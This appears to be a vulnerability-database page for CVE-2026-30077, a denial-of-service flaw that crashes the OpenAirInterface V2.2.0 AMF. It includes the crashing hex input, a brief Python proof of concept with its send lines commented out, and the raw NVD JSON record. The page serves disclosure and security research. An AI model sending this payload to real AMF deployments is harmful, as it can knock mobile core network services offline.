Security Vulnerability Report
中文
CVE-2026-30077 CVSS 7.5 HIGH

CVE-2026-30077

Published: 2026-03-30 18:16:19
Last Modified: 2026-04-06 15:59:49

Description

OpenAirInterface V2.2.0 AMF crashes when it fails to decode the message. Not all decode failures result in a crash. But the crash is consistent for particular inputs. An example input in hex stream is 80 00 00 0E 00 00 01 00 0F 80 02 02 40 00 58 00 01 88.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:openairinterface:openairinterface:2.2.0:*:*:*:*:*:*:* - VULNERABLE
OpenAirInterface AMF V2.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # Target configuration TARGET_IP = "127.0.0.1" # Replace with actual AMF IP TARGET_PORT = 38412 # Standard SCTP port for AMF (Note: requires SCTP library usually) # Malicious payload extracted from CVE description payload_hex = "80 00 00 0E 00 00 01 00 0F 80 02 02 40 00 58 00 01 88" # Convert hex string to bytes payload_bytes = bytes.fromhex(payload_hex.replace(" ", "")) try: # Note: AMF typically uses SCTP. This example demonstrates sending the payload. # In a real scenario, use an SCTP library like pysctp. print(f"Sending payload to {TARGET_IP}:{TARGET_PORT}") # Example conceptual socket connection # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # s.connect((TARGET_IP, TARGET_PORT)) # s.send(payload_bytes) # s.close() print("Payload generated:", payload_bytes.hex()) except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30077", "sourceIdentifier": "[email protected]", "published": "2026-03-30T18:16:18.660", "lastModified": "2026-04-06T15:59:48.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenAirInterface V2.2.0 AMF crashes when it fails to decode the message. Not all decode failures result in a crash. But the crash is consistent for particular inputs. An example input in hex stream is 80 00 00 0E 00 00 01 00 0F 80 02 02 40 00 58 00 01 88."}, {"lang": "es", "value": "OpenAirInterface V2.2.0 AMF se bloquea cuando no logra decodificar el mensaje. No todas las fallas de decodificación resultan en un bloqueo. Pero el bloqueo es consistente para entradas particulares. Una entrada de ejemplo en flujo hexadecimal es 80 00 00 0E 00 00 01 00 0F 80 02 02 40 00 58 00 01 88."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openairinterface:openairinterface:2.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "A4D4C2EA-57B3-42F2-9794-5DA2ADF51B23"}]}]}], "references": [{"url": "https://gitlab.eurecom.fr/oai/cn5g/oai-cn5g-amf/-/issues/76", "source": "[email protected]", "tags": ["Third Party Advisory", "Issue Tracking"]}, {"url": "https://gitlab.eurecom.fr/oai/cn5g/oai-cn5g-amf/-/merge_requests/414", "source": "[email protected]", "tags": ["Issue Tracking", "Mitigation"]}]}}